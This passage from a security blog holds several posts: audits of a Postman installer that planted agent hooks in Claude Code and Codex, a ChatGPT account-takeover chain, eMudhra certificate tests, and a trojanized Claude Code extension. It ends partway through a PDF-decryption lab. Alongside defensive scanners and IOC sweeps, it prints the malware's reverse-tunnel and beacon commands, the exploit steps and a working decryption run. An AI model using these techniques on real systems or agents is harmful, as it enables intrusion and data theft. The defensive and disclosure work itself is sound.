I ran this on mine (Postman not installed: all four checks negative, which is what a clean result looks like). On any Mac with Postman and AI tooling:

# 1. Postman's own log: did the auto-installer run?
grep -E "auto-existing-upgrade|autoInstall" \
  "$HOME/Library/Application Support/Postman/logs/main.log" 2>/dev/null \
  || echo "clean: no auto-install lines"

# 2. Codex config: marketplace, plugin, hook trust
grep -n "postman" ~/.codex/config.toml 2>/dev/null \
  || echo "clean: codex untouched"

# 3. Claude Code: plugin + settings
grep -rn "postman" ~/.claude/settings.json ~/.claude/plugins/installed_plugins.json 2>/dev/null \
  || echo "clean: claude untouched"

# 4. The dropped CLI
ls -la ~/.local/bin/postman 2>/dev/null \
  || echo "clean: no CLI"

If any check hits and you did not opt in, the removal path (assembled from the issue's rollback demand, in order): disable and remove the plugins from inside each agent first (Claude Code plugin settings; Codex config.toml marketplace and hooks.state entries), delete the cached plugin hooks, remove the MCP connection config, remove the CLI from ~/.local/bin, then decide whether Postman itself stays. Re-run the four checks after, and again after the next Postman update: the installer that ran once without consent is the same binary that updates itself.

One step further for the cautious: the auto-install ran on opening the app. If a tool you use for HTTP needs the ability to modify your shell's $PATH-adjacent directories and other applications' configs to function, the question is not "is the vendor trustworthy today", it is "what does the architecture permit", and the answer here was: everything, silently, including pre-trusting its own instructions to your agent.

Where this sits in the month's ledger

October's agent-supply-chain series, for the record: two compromised releases of the most popular LLM proxy, 13,500 secret-dumping CI workflows, background-agent transcripts shipped to the model, a trojanized Claude Code extension with SSH persistence, and now a legitimate vendor quietly installing itself into the same agents, with self-approved startup instructions. The attackers and the incumbents converged on the same target from opposite sides: the agent's configuration is the crown-jewel file of 2026, and everything from infostealers to venture-backed desktop apps is reaching for it. Defense is correspondingly boring and absolute: version-control your ~/.claude and ~/.codex (a dotfiles repo with git diff on a schedule catches exactly this class), treat hook-trust records like SSH authorized_keys, and audit what edits them. My machine's four checks live in a script now; they take four seconds and they run after every install week.

TL;DR: Postman 12.33.4 auto-installed plugins into Claude Code and Codex on open, edited their global configs, registered a startup hook ordering agents to route all API work through Postman, wired a remote MCP that failed auth, and its installer attempts to approve its own hook hash. Proven by Postman's logs and pinned source; exfiltration explicitly not claimed by the reporter, whatever the headline says. Zero staff replies so far. Four-check audit above; run it on every machine with Postman, and put your agent configs under version control tonight.

Sources: Issue #14370, the full evidence trail (log lines, config diffs, pinned installer source) · postman-plugin repo at the installed revision · HN discussion (title's phrasing; community alternatives)

We took over ChatGPT accounts: the MathLive postMessage chain, and the 20-line audit for your own listeners

Sam LABBE — Sat, 31 Oct 2026 10:47:43 +0000

Yesterday's disclosure from Parameter is the most elegant web exploit of the month: a complete takeover of ChatGPT accounts where the victim's only action was opening a shared-conversation link. No paste, no login, no click in the final version: about 4.5 seconds from link to JavaScript running as chatgpt.com, reading private conversations and the session token. Reported October 18, escalated from P2 to P1 on October 21, fixed October 26, bounty $5,000. The root is a class of bug almost every web app ships today, which is why this post is the chain dissected step by step, plus a 100-line static audit I wrote and ran against the vulnerable library: it flags exactly the four listeners that made this possible, and your codebase can be scanned the same way tonight.

The chain, in seven moves

The ingredient list: a shared conversation (public feature), MathLive (the math input library ChatGPT loads when a message contains an interactive graph), and the HTML Preview pane that runs on a separate sandboxed origin.

The lure. Attacker shares a conversation containing a real interactive graph (which makes chatgpt.com load MathLive and install its virtual-keyboard message listener) plus an HTML block.
The unguarded door. The sandboxed HTML Preview sends postMessage calls. MathLive's listener never checked who the message came from ("from any web address", per the researchers) and accepted a update-setting message carrying attacker-controlled HTML in the keyboard layouts[].markup field, then a show message.
The sink. The layout renders through keyboardContainer.innerHTML, via a createHTML helper that was a Trusted Types wrapper or identity function, not a sanitizer. I verified the sink in the shipped bundle: s.innerHTML = Qi.createHTML(a) and friends, still present in MathLive 0.100.0.
The origin inheritance. The injected payload is an <iframe srcdoc> without a sandbox attribute. A srcdoc iframe inherits the embedding document's origin: the new frame is chatgpt.com.
The CSP bypass. The Content-Security-Policy blocked inline scripts but allowed YouTube. So the payload loads www.youtube.com/oembed?...&callback=<js>;void, a JSONP-style response whose body begins with attacker-chosen JavaScript. CSP sees a fetch to youtube.com, allowed. The browser executes the callback as script.
The token. Running as chatgpt.com, the code reads the session bootstrap data from the page (#client-bootstrap) and obtains the access token.
The takeover. With the token: GET /backend-api/conversations..., enumerate, read, exfiltrate via an innocent-looking image request. "Any action on behalf of the victim's ChatGPT account."

Every individual piece is a textbook finding. The lesson is the composition: a library's lax listener plus a sandboxed pane plus a permissive CSP plus an unsandboxed srcdoc equals account takeover on the most-visited AI site on earth.

The audit: your listeners, tonight

The bug class has a signature: addEventListener('message', ...) handlers that never reference event.origin or event.source. I wrote a static scanner around that signature (heuristic, minified-bundle-friendly, ~100 lines) and ran it on the two things that matter:

$ python3 postmessage_audit.py mathlive-0.100.0.mjs
[RISK] mathlive-0.100.0.mjs:2841 message listener -> NO SENDER CHECK (.origin/.source absent)
[RISK] mathlive-0.100.0.mjs:2931 message listener -> NO SENDER CHECK (.origin/.source absent)
[RISK] mathlive-0.100.0.mjs:2931 message listener -> NO SENDER CHECK (.origin/.source absent)
[RISK] mathlive-0.100.0.mjs:3084 message listener -> NO SENDER CHECK (.origin/.source absent)

$ python3 postmessage_audit.py mathlive-0.111.1.mjs        # current release
(no message listeners flagged in the main bundle)

$ python3 postmessage_audit.py ~/code/my-app/src/           # your turn

The core of the check (full script embedded below, self-contained):

PATTERNS = [re.compile(r"addEventListener\(\s*['\"`]message['\"`]\s*,"),
            re.compile(r"onmessage\s*=")]
ORIGIN_OK = re.compile(r"(?:event|e|ev|msg|evt)\.(?:origin|source)\b")
DANGEROUS = re.compile(r"innerHTML|insertAdjacentHTML|document\.write|outerHTML|\beval\(|new Function\(")
# for each listener: extract the handler body; flag if ORIGIN_OK absent,
# and flag louder if a DOM sink lives inside the same handler

Honest limits: it is a heuristic on source text (proxy handlers, wrapped frameworks or dynamically-registered listeners can slip through), a clean scan is not a proof, and the runtime gold standard is opening DevTools and watching which listeners react to a synthetic postMessage from a foreign origin. But the pattern it flags is precisely the one that cost OpenAI a P1 this month, and it catches the version that had it while passing the one that does not.

The full script (drop it in a repo or run it in CI over your frontend bundles):

#!/usr/bin/env python3
# postmessage_audit.py <file-or-dir> [...] : flag message listeners without sender checks
import re, sys
from pathlib import Path
RX = [re.compile(r"addEventListener\(\s*['\"`]message['\"`]\s*,"), re.compile(r"onmessage\s*=")]
ORIGIN = re.compile(r"(?:event|e|ev|msg|message|evt)\.(?:origin|source)\b")
SINK = re.compile(r"innerHTML|insertAdjacentHTML|document\.write|outerHTML|\beval\(|new Function\(")
def scan(path):
    try: text = path.read_text(errors="replace")
    except Exception: return
    for rx in RX:
        for m in rx.finditer(text):
            win = text[m.end():m.end()+2000]; depth=0; body=""
            for i,ch in enumerate(win):
                if ch=="{": depth+=1
                elif ch=="}":
                    depth-=1
                    if depth==0: body=win[:i+1]; break
            else: body=win[:1500]
            line = text[:m.start()].count("\n")+1
            v=[]
            if not ORIGIN.search(body): v.append("NO SENDER CHECK")
            if SINK.search(body): v.append("DOM sink in handler")
            if v: print(f"[RISK] {path.name}:{line} -> {'; '.join(v)}")
for a in sys.argv[1:]:
    p=Path(a)
    for f in (sorted(p.rglob("*")) if p.is_dir() else [p]):
        if f.suffix in {".js",".mjs",".ts",".jsx",".tsx",".html",".vue",".svelte"}: scan(f)

The four defenses, in order of leverage

Check the sender, always. First line of every message handler: if (event.origin !== EXPECTED) return;. One line, kills the entire class. That line was missing in a library embedded in one of the world's top websites.
A Trusted Types wrapper that sanitizes, or nothing. createHTML that passes bytes through is a compliance badge on an open door. If you adopt Trusted Types, the policy must actually constrain (DOMPurify or equivalent), not just wrap.
Sandbox your srcdocs. An <iframe srcdoc> without sandbox inherits your origin. sandbox="allow-scripts" (no allow-same-origin) makes the injected document powerless against yours. The preview pane was sandboxed; the attacker's frame was not.
CSP is a budget, audit the allowed list. Any endpoint echoing a callback parameter is a script-execution primitive (JSONP is not dead, it lives in oembed endpoints). youtube.com in a CSP is not "just videos": read it as "YouTube decides what JavaScript runs on my page".

What this means for AI platforms specifically

The trust model of an AI chat app is unusual: user-generated content becomes application UI (shared conversations render graphs, previews, embeds inside the first-party origin). Every library the platform loads to render that content inherits the platform's authority, and the attacker gets to choose which content triggers which library. OpenAI's fix (rejecting cross-frame MathLive messages plus CSP changes) is correct and shipped in eight days. The $5,000 bounty for a full account takeover on the flagship product is, let us note in passing, a curious pricing signal.

TL;DR: a shared ChatGPT link + MathLive's message listener that trusted any sender + innerHTML sink + unsandboxed srcdoc + YouTube JSONP CSP bypass = the session token and every private conversation, patched October 26. The bug class is addEventListener('message') without an origin check; the 100-line audit above flags it in your bundles (and correctly flagged the vulnerable MathLive while passing the fixed one). One line of event.origin validation per listener is the whole vaccine.

Sources: Parameter: We took over ChatGPT accounts · MathLive · audit verified against mathlive 0.100.0 (4 listeners, no sender checks, innerHTML sinks present) and 0.111.1 (pattern absent from main bundle)

pip install could have been hijacked: I tested every trust store on my Mac against the compromised eMudhra chain

Sam LABBE — Fri, 30 Oct 2026 19:51:27 +0000

The writeup that landed tonight (OpenTeams: "Pip Install Could Have Been Hijacked") closes a loop this blog opened ten days ago. The eMudhra intermediate keys, the ones where "the key was the number 4", were recoverable by anyone: Scott Helme pulled all eight "on a laptop in under a second". Values included 4, 56 and 115. Tonight's post spells out what that meant for Python: anyone on your network path could have forged a certificate for pypi.org, and your next pip install would have happily delivered their package. Browsers would have caught it. Python tools never look at the logs that would have caught it. So I ran the full test on my own machine, every trust store, one host: same Mac, same hour, split verdict.

The chain, one paragraph

Recover a weak CA key (act one of this series). Forge a certificate claiming to be pypi.org. Sit on the network path: cafe Wi-Fi, a compromised router, an ISP. When a developer runs pip install requests, serve the forged certificate and a malicious package or wheel. Only installs pinned to exact file hashes would have noticed the swap. And because Chrome and Safari require certificates to appear in public Certificate Transparency logs while pip, requests and friends do not consult them at all, this attack would have left zero traces anywhere. No exploitation has been documented. The feasibility proof is the key recovery itself, which takes under a second.

The five-day counterattack

The part of tonight's post that deserves to be remembered is the response timeline, because the Python packaging ecosystem fixed itself in five days flat:

Oct 17: report reaches Google and Mozilla.
Oct 20: Chrome blocks the certificates in under two hours, Firefox by 22:59 UTC. The Python Software Foundation advisory goes out; fixed certifi (2026.10.19), pip and uv releases ship.
Oct 21: conda, mamba and pixi fixes, plus a conda-forge index edit so that even old installs pull fixed certificates.
Oct 26: new CPython releases, 3.15.2, 3.14.10, 3.13.18, 3.12.16, 3.11.18, block the keys inside the ssl module itself, which protects even old pips running on new Pythons.

One vendor is conspicuously absent from that list, and the omission is the subject of a separate finding this blog also covered: Apple's own git, on the same machine, was still accepting the chain days later. The volunteers beat the trillion-dollar company by a week, and the gap is measurable on my desk.

The four-way test, run live

The method: ask each trust store what it thinks of https://dv-g3b-emudhra.we-have-a-problem.com/, the official check host whose certificate chains through one of the compromised intermediates. A certificate error means protected. A response means the store still trusts the poisoned chain.

1. Apple's git, the system toolchain (from my earlier test this week, same machine, never fixed since):

$ git -c http.curloptResolve=github.com:443:15.235.19.186 clone \
      https://fake-user@github.com/galadran/emudhra-git-test
# README fetched: "INTERCEPTED: your git accepted a certificate from a compromised eMudhra CA"

Vulnerable. A fake github.com was cloned without one warning.

2. Python's stdlib, urllib + ssl:

import urllib.request
urllib.request.urlopen("https://dv-g3b-emudhra.we-have-a-problem.com/", timeout=15)
# ssl.SSLCertVerificationError: CERTIFICATE_VERIFY_FAILED: unable to get local issuer certificate

Protected. The Homebrew OpenSSL bundle under this Python already dropped the roots.

3. pip itself, against a compromised-signed package index:

$ python3 -m pip download --no-deps \
    --index-url https://dv-g3b-emudhra.we-have-a-problem.com/simple/ definitely-not-a-real-package
WARNING: ... SSLError(SSLCertVerificationError('Le certificat «dv-g3b-emudhra...» est bloqué.'))

Protected. The error message literally says blocked. Note this pip is 26.2.1, one patch below the recommended 26.2.2, and its vendored certifi bundle already lacks both affected roots (checked by grepping pip/_vendor/certifi/cacert.pem: emSign ECC Root CA - G3 absent, AAA Certificate Services absent). The update advice still stands, because the explicit block in pip 26.2.2 and in CPython's ssl (3.15.2+) defends even when a bundle slips, and my machine's system certifi is 2026.07.22, two releases behind the fixed 2026.10.19.

4. Your applications, via requests: whatever import certifi resolves to in each virtualenv. On this machine the system certifi 2026.07.22 greps clean for both roots, but per-venv copies vary, and this is the one layer nobody updates. That is the check your CI should own.

Four stores, one machine, one hour: Apple's stack accepted the forged chain, the Python ecosystem refused it. The difference is not talent, it is that packaging maintainers treated a CA compromise as their incident, and shipped.

The audit for your machines

# every interpreter you care about: does it still trust the chain?
python3 -c "import urllib.request
try: urllib.request.urlopen('https://dv-g3b-emudhra.we-have-a-problem.com/', timeout=15); print('VULNERABLE')
except Exception as e: print('protected:', type(e).__name__)"

# pip's vendored bundle (both greps must be empty)
grep -c "emSign ECC Root CA - G3\|AAA Certificate Services" \
  "$(python3 -c 'import pip,os;print(os.path.join(os.path.dirname(pip.__file__),"_vendor","certifi","cacert.pem"))')"

# the versions that matter: pip >= 26.2.2, certifi >= 2026.10.19,
# uv >= 0.13.4, pixi >= 0.82.1, conda >= 26.9.4, CPython latest patch (ssl-level block)
python3 -m pip --version; python3 -c "import certifi; print(certifi.__version__)"

And the two operational notes from tonight's post worth pinning on the wall: rebuild container images and CI caches from scratch, because every layer carries its own frozen copy of the roots; and never disable certificate verification to silence an error, the single most common self-inflicted downgrade that turns a trust-store incident into an open door.

Why this story is the good twin of the whole month

October gave us a steady parade of broken pipelines: disclosure lists leaked, embargoes broken, updates that undo manual fixes, extensions that backdoor you at load. This one is the mirror image: a catastrophic CA failure, and a loosely-coordinated ecosystem of volunteers and maintainers that enumerated its own blast radius correctly (pip, requests, uv, pixi, conda, CPython, Docker images, installers), then closed it in five days, then published the retrospective. The moral of the month is not that everything is broken. It is that the difference between disaster and non-event is whether somebody owns the inventory. Python packaging owned its inventory. Your stack's question is: who owns yours?

TL;DR: the eMudhra keys (values 4, 56, 115) could have signed a fake pypi.org, and pip install would have delivered attacker code with no traces, because Python tools do not check CT logs. The ecosystem fixed itself in five days, down to blocking the keys in CPython's ssl module. My four-way live test: Apple's git still accepts the chain, Python's stdlib, pip and bundles refuse it. Audit commands above, version pins in the post, rebuild your caches.

Sources: OpenTeams: Pip Install Could Have Been Hijacked · eMudhra disclosure + check hosts · Act one: the number-4 key · Act two: the CA exits the business · Apple's git still trusts the chain

A trojanized Claude Code extension plants an SSH backdoor: the 7-point audit for your machine

Sam LABBE — Fri, 30 Oct 2026 08:15:52 +0000

This morning's supply-chain drop, two hours old as I write: the VS Code extension anthropic.claude-code@2.1.313 was trojanized on Open-VSX, published from the account of an Anthropic employee, and the malicious version carried a 66-line loader inserted ahead of the legitimate code. You did not have to chat with Claude, click anything, or approve anything: loading the extension at VS Code startup executed the payload. It inventoried your machine, appended an SSH key named svc-telemetry to your authorized_keys, turned on remote login, opened a reverse tunnel to an attacker server, and persisted as a LaunchAgent disguised as com.apple.sysmond. The full analysis is out; this post is the mechanism in plain steps, every IOC, and a read-only audit script I already ran on my own machine. Every Claude Code, Cursor, Windsurf or VS Code user should run it tonight.

This is the fourth agent-supply-chain story this blog has covered this month, and the most intimate one: LiteLLM stole the credentials your code runs with, Gheist harvested the secrets your CI holds, and now the tool your agent lives inside is the dropper. The perimeter keeps moving inward.

What the loader does, step by step

The trojanized build differed from the legitimate one in a single file, extension.js, where an IIFE (importing process, fs, os, http, crypto) was prepended to the real code. No npm lifecycle scripts, no exotic packing. Then, at extension load:

Recon: hostname, username, OS and architecture, home directory, git email, and the names of up to 40 environment variables matching KEY, TOKEN, SECRET, PASS, AWS, GCP. Names, not values, at this stage: an inventory of what you have.
SSH access: creates ~/.ssh (0700) and appends an Ed25519 public key with the comment svc-telemetry to authorized_keys (0600). Fingerprint: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk.
Remote access enabled: on macOS it runs sudo -n systemsetup -setremotelogin on (works if your user has passwordless sudo, silently fails otherwise); on Linux it enables sshd; on Windows it installs the OpenSSH Server.
Reverse tunnel: decodes an embedded private key into ${TMPDIR}/.stk_<id> and loops ssh tunnel@134.209.82.225 -N -R '*:0:localhost:22' with host-key checking disabled, reconnecting every 60 seconds (autossh when available). Their server can now reach your SSH, from anywhere, through your own outbound connection.
Persistence: macOS LaunchAgent com.apple.sysmond.plist (RunAtLoad, KeepAlive), a name chosen to smell like a system daemon; Linux @reboot crontab; Windows scheduled task SysMon running as SYSTEM.
Beacon: after 1.5 seconds, fetches your public IP from ifconfig.me or api.ipify.org and POSTs the recon JSON to http://134.209.82.225:8099/beacon. The response is ignored; no second-stage downloader was found in this sample.

Discovery credit goes to Dean Hardcastle, who watched it happen in real time. Important caveat from the analysts themselves: the trojanized sample came from Open-VSX; the Microsoft Marketplace copy was pulled "in an abundance of caution", and nothing published so far proves Anthropic's own infrastructure was breached. The publisher account is the open question.

The audit: 7 checks, read-only, exit code tells you

I wrote the sweep from the published IOCs and ran it on my machine before writing this post. Read-only: it checks, it never modifies.

#!/bin/sh
# hunt_claude_ext.sh - IOC sweep for trojanized anthropic.claude-code@2.1.313
set -u
FOUND=0
hit()  { FOUND=$((FOUND+1)); echo "[!!] $1"; }
clean(){ echo "[ok] $1"; }

# 1. the SSH backdoor key
grep -q "svc-telemetry" "$HOME/.ssh/authorized_keys" 2>/dev/null \
  && hit "authorized_keys contains the svc-telemetry backdoor key" \
  || clean "authorized_keys has no svc-telemetry key"

# 2. the disguised LaunchAgent
[ -f "$HOME/Library/LaunchAgents/com.apple.sysmond.plist" ] \
  && hit "rogue LaunchAgent com.apple.sysmond.plist present" \
  || clean "no rogue com.apple.sysmond LaunchAgent"

# 3. marker files
for f in "$HOME/.config/.smt" "$HOME/.config/.smtk" "$HOME/.config/smt.cmd"; do
  [ -f "$f" ] && hit "marker file $f present"
done
clean "no .smt/.smtk/smt.cmd markers"

# 4. reverse-tunnel key drops
ls "${TMPDIR:-/tmp}"/.stk_* >/dev/null 2>&1 \
  && hit "tunnel key .stk_* in TMPDIR" || clean "no .stk_* in TMPDIR"

# 5. live tunnel process
pgrep -af ssh 2>/dev/null | grep -Eq "134\.209\.82\.225|-R \*:0:localhost:22" \
  && hit "live ssh process matching the C2 tunnel signature" \
  || clean "no ssh process matching the C2 tunnel"

# 6. the extension itself: hash every installed copy's loader
EXT_HASH="ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15"
for d in "$HOME/.vscode/extensions"/anthropic.claude-code-* \
         "$HOME/.vscode-server/extensions"/anthropic.claude-code-* \
         "$HOME/.cursor/extensions"/anthropic.claude-code-*; do
  [ -f "$d/extension.js" ] || continue
  [ "$(shasum -a 256 "$d/extension.js" | cut -d' ' -f1)" = "$EXT_HASH" ] \
    && hit "$d/extension.js MATCHES the trojan hash"
done
clean "no installed extension.js matching the trojan hash"

# 7. macOS Remote Login unexpectedly on
sudo -n systemsetup -getremotelogin 2>/dev/null | grep -q "On" \
  && echo "[??] Remote Login is ON, verify you enabled it yourself" \
  || clean "Remote Login off"

echo "== $FOUND indicator(s) found =="
[ "$FOUND" -gt 0 ] && exit 1 || exit 0

My run, tonight, on the machine I am typing this on:

[ok] authorized_keys has no svc-telemetry key
[ok] no rogue com.apple.sysmond LaunchAgent
[ok] no .smt/.smtk/smt.cmd markers
[ok] no .stk_* in TMPDIR
[ok] no ssh process matching the C2 tunnel
[ok] no installed extension.js matching the trojan hash
[ok] Remote Login off
== 0 indicator(s) found ==   (exit 0)

A clean run is not a clean bill of health forever (the sample analyzed is one build; the operators iterate), but it answers tonight's question. If any check hits: disconnect the machine from the network, rotate credentials from a different, clean system (they inventoried your env-var names for a reason), preserve the artifacts, and rebuild. Interactive SSH access means whatever you find may understate what happened.

The lesson, again: pin what you run

Three structural notes, because the mechanism will repeat:

Open-VSX and the Marketplace serve mutable bits. A publisher account (here: an Anthropic employee's, question mark hanging over how) can replace a trusted extension's code, and every client that auto-updates receives it. The defense that would have caught this in one second is hash pinning, and almost nobody does it for extensions. Check 6 in the script is the pattern: shasum -a 256 on the loader of everything critical you install, recorded when you install it on purpose.
"Loading is executing." The payload ran at extension activation, before any user interaction with the tool. The mental model of "I only use it when I choose to" does not survive contact with how extensions actually load.
The name of the persistence is a social-engineering artifact. com.apple.sysmond, SysMon, svc-telemetry: every IOC in this attack is designed to survive a casual ls. That is why the audit checks exact names and exact hashes, not vibes.

The month's ledger so far: two compromised releases of the most popular LLM proxy, 13,500 secret-dumping CI workflows, transcripts of background agents shipped to the model, and now a trojanized agent extension with SSH persistence. The agents are not the vulnerability. The ecosystem assembling around them is.

TL;DR: trojanized anthropic.claude-code@2.1.313 on Open-VSX backdoored machines at extension load: SSH key svc-telemetry, remote login on, reverse tunnel to 134.209.82.225, LaunchAgent disguised as com.apple.sysmond. Seven-check read-only audit above, my machine: zero indicators. Run yours, hash what you install, and if a check hits: rotate from a clean machine and rebuild.

Sources: OpenSourceMalware: Trojanized Claude Code Extension Plants an SSH Backdoor · IOCs: extension.js SHA-256 ecb58cb2…c6bf15, C2 134.209.82.225 (22, 8099), key fingerprint SHA256:0Z6R+…htk

Your Mac's git cloned a fake github.com without a warning: Apple, eMudhra, act three

Sam LABBE — Thu, 29 Oct 2026 08:06:13 +0000

One week ago the CA whose private key was the number 4 quit the certificate business. Browsers blocked the chain within three days of disclosure, the disclosure site shipped self-checks, and the story felt closed. It is not. Yesterday the same site published the next finding: Apple was notified on October 17, and as of October 28, the developer tools on macOS, git included, still trust the compromised certificates. Not hypothetically. On my machine, ten minutes ago, Apple's git cloned a fake github.com whose certificate was issued from the compromised chain, and it did not print a single warning. The README it fetched begins with the word INTERCEPTED.

This post is the three-legged lab I ran to pin it down: stock Apple git (intercepted), Homebrew git (safe), and the documented workaround (verified, without touching the system). Plus the detail that turns this from "lagging vendor" into something meaner: macOS 27.2, released October 26, silently undid the workaround users had applied by hand.

What is actually exposed

Safari and apps using Apple's networking frameworks were protected days ago; the blocking travels through their fast revocation channels. But the developer toolchain, git, curl, python3 and friends, validates against /etc/ssl/cert.pem without consuming revocation information, and that file still contains the affected roots. The consequences for anyone on your network path, your Wi-Fi, your ISP, your VPN provider, holding one of the eight recovered keys:

git clone and git pull can deliver attacker-chosen code into your working tree
git push traffic, including credentials and tokens, can be captured or altered
every HTTPS call made by the toolchain inherits the same trust gap

For CI runners and build machines on macOS, that is a supply-chain front door. Your brew install is fine (Homebrew shipped its fix days ago); the git that Xcode and the Command Line Tools give you is the one that is not.

Leg one: Apple's git, stock, intercepted

The disclosure site runs a dedicated test host, and an end-to-end demo that redirects github.com to a server presenting a github.com certificate issued from a compromised eMudhra intermediate. The fake-user@ prefix keeps real credentials out of the test. On a fully patched macOS, with the stock toolchain:

$ /usr/bin/git --version
git version 2.54.0 (Apple Git-157)

$ /usr/bin/git ls-remote https://git-emudhra.we-have-a-problem.com/
2975b9930644b321e18ecae09e29c15b955e6103    HEAD
2975b9930644b321e18ecae09e29c15b955e6103    refs/heads/main
                                        (exit 0: the compromised-signed certificate was ACCEPTED)

$ git -c http.curloptResolve=github.com:443:15.235.19.186 clone \
      https://fake-user@github.com/galadran/emudhra-git-test
Cloning into 'emudhra-git-test'...

$ cat emudhra-git-test/README.md
# INTERCEPTED: your git accepted a certificate from a compromised eMudhra CA

That is the whole attack, minus the attacker. A clone of a github.com URL, served by someone else, accepted silently. Swap the test repo for Homebrew/brew or your company's monorepo and the "INTERCEPTED" README becomes your next brew install or your next build.

Leg two: Homebrew git, safe

Homebrew's ca-certificates package removed the affected roots days ago (2026-09-25_1), and its git links against them:

$ /opt/homebrew/bin/git --version
git version 2.56.0

$ /opt/homebrew/bin/git ls-remote https://git-emudhra.we-have-a-problem.com/
fatal: unable to access: SSL certificate OpenSSL verify result:
unable to get local issuer certificate (20)

$ /opt/homebrew/bin/git -c http.curloptResolve=... clone https://fake-user@github.com/...
fatal: SSL certificate problem: unable to get local issuer certificate

Refused, twice. A volunteer-run project shipped the fix that a trillion-dollar company did not, which the disclosure site notes is a pattern: dozens of downstream distributions, many of them volunteer-maintained, got this done within days.

Leg three: the workaround, verified without touching the system

The documented fix is to strip the two affected roots from the file the tools read. You can prove it works before applying it system-wide, by pointing git at a cleaned copy (the official awk one-liner, minus the sudo):

awk '/^(###|===) /{skip=0}
/^=== .*\/CN=(AAA Certificate Services|emSign ECC Root CA - G3)$/{skip=1}
!skip' /etc/ssl/cert.pem > /tmp/clean-bundle.pem
# 128 certificates in, 126 out

/usr/bin/git -c http.sslCAInfo=/tmp/clean-bundle.pem \
             -c http.curloptResolve=github.com:443:15.235.19.186 clone \
             https://fake-user@github.com/galadran/emudhra-git-test
fatal: SSL certificate problem: unable to get local issuer certificate

Same Apple git, same fake server, cleaned bundle: refused. That is the fix Apple is being asked to ship, demonstrated end to end. To apply it for real, follow the site's macOS steps, and then the catch below.

The part that should make you angry

macOS 27.2 shipped on October 26, nine days after disclosure, and according to the disclosure it did not fix the issue and undid the workaround that users had applied by hand. Apple's own guidance says system updates may revert manual trust-store changes, so anyone who cleaned their bundle on October 20 woke up re-exposed on October 27 without doing anything. If you applied the workaround, the sequence is not "fix once", it is: apply, then re-run the two self-checks after every macOS update, exactly like a regression test. For fleet owners: your MDM baseline for macOS dev machines now includes "cert.pem does not contain emSign ECC Root CA - G3 or AAA Certificate Services", asserted continuously, because the OS will fight you.

The check for your machine, tonight

# any git, one line: error = safe, listing = vulnerable
git ls-remote https://git-emudhra.we-have-a-problem.com/

# the end-to-end proof (safe: no real credentials involved)
git -c http.curloptResolve=github.com:443:15.235.19.186 clone \
      https://fake-user@github.com/galadran/emudhra-git-test

If you get refs and a README that says INTERCEPTED: your toolchain trusts a CA whose keys have been public for twelve days, a firm that has already left the certificate business. Clean the bundle or move your git to Homebrew's, then re-check after the next macOS update, and the one after that.

TL;DR

Act one: the key was the number 4. Act two: the CA quit the business. Act three, yesterday's finding: Apple's developer tools still trust the poisoned chain, an update shipped nine days post-discussion silently reverted users' own fixes, and my stock Mac cloned a fake github.com without one byte of warning. Homebrew's git refuses it; the awk workaround makes Apple's git refuse it; the check is one git ls-remote you can run right now. The trust fabric held for browsers and failed for builders. Your build pipeline is the perimeter now.

Sources: Apple's git still trusts the compromised eMudhra certificates · main disclosure + self-checks · Act one: the number-4 key · Act two: the exit

Your PDF says AES-256. The key had 9 bits of entropy.

Sam LABBE — Wed, 28 Oct 2026 21:56:31 +0000

I just created a PDF with AES-256 encryption and a password, watched the reader refuse to open it without that password, and then decrypted it without any password in 0.63 seconds, secret contents fully recovered. The tool that did it is public since yesterday. The vulnerability is not in AES, and not in the password: it is in the key generation, where a "256-bit" key was derived from a timestamp-seeded pseudo-random generator with 9 bits of effective entropy. This is the story of V12's PDF decryptors, and below is the lab I ran end to end on my machine, which you can rerun in ten minutes.

What PDF encryption is supposed to do

PDF standard security, revision 6 (the AES-256 one, AESV3), has a sound design: the file is encrypted with a random 32-byte file key. Your password never encrypts the document directly; it wraps the file key (/UE in the encryption dictionary). Break the design assumption that the 32 bytes are random, and the password stops mattering: recover the file key, read the file, the password never enters the story.

MuPDF before 1.28.5, Foxit Reader 2026.1.3, OpenPDF 3.0.5 and iText 9.7.1 each broke that assumption differently. Same AES-256 label, same certificate on the box, entropy theater inside.

MuPDF: 9 bits, 512 keys, 7 milliseconds

MuPDF's fz_memrnd() generated the file key from a 48-bit LCG (drand48 family) seeded once with the epoch time in seconds. Two implementation details collapse the space:

each output byte keeps only state bits 17-24 of the LCG;
the seeding initializes the low 16 bits of the state to the constant 0x330E.

Run the math and only 9 bits of the timestamp influence the output stream: timestamps 512 seconds apart produce the identical "random" bytes. I verified this directly, using the exact derivation from V12's published PoC (POSIX LCG constants, a=0x5DEECE66D, c=0xB):

state = 0x330E | ((seed & 0xFFFF) << 16) | (((seed >> 16) & 0xFFFF) << 32)
# each byte: state = (a*state + c) mod 2**48 ; byte = (state >> 17) & 0xFF

keystream(t)      == keystream(t + 512)  : True
keystream(t)      != keystream(t + 511)  : True
512 candidate keystreams generated in   : 7 ms

A "256-bit" key with 512 candidates. The encrypted permissions field /Perms gives a known-plaintext oracle: for each candidate key, check whether the decryption matches the document's permission bits. One of the 512 passes.

The lab, end to end

Reproducible on any machine with Python and Homebrew:

brew install mupdf                      # mutool 1.28.5 (fixed; used only as the reader/writer)
python3 -m venv v && v/bin/pip install "pymupdf<1.28.5" cryptography
git clone https://github.com/v12-security/pocs

Step 1: create a victim with the vulnerable stack (pymupdf 1.28.2 bundles MuPDF 1.28.2):

import pymupdf
doc = pymupdf.open(); page = doc.new_page()
page.insert_text((72, 200), "TOP SECRET: the mermaid lands at 0400. Auth code KHAKI-7741.")
doc.save("secret.pdf", encryption=pymupdf.PDF_ENCRYPT_AES_256,
         user_pw="hunter2", owner_pw="owner-pw")

Step 2: confirm the lock is real. mutool show secret.pdf trailer answers cannot authenticate password. The encryption dictionary says /AESV3, /R 6. Everything looks exactly like strong crypto is supposed to look.

Step 3: the attack, no password:

$ v/bin/python pocs/pdf_decryptors/mupdf/decrypt.py secret.pdf decrypted.pdf
[+] Recovered and verified the AES-256 file key
    seed time(NULL) mod 512 = 33
    key  022531fd36d99f642258484ad123e7ab0188b951af6718623a11b813364c7c7b
[+] Wrote unencrypted PDF to decrypted.pdf
                                      (0.12 s user, 0.63 s wall)

Step 4: read the plaintext:

$ mutool draw -F txt -o - decrypted.pdf
TOP SECRET: the mermaid lands at 0400. Auth code KHAKI-7741.

Twelve hundred milliseconds after meeting the file, its "AES-256" protection is a memory. The PoC then re-wraps the recovered key under a known password and lets mutool write a clean copy; brute force was never needed because there were only ever 512 keys.

Foxit: SHA-256, a timestamp, and the word "there"

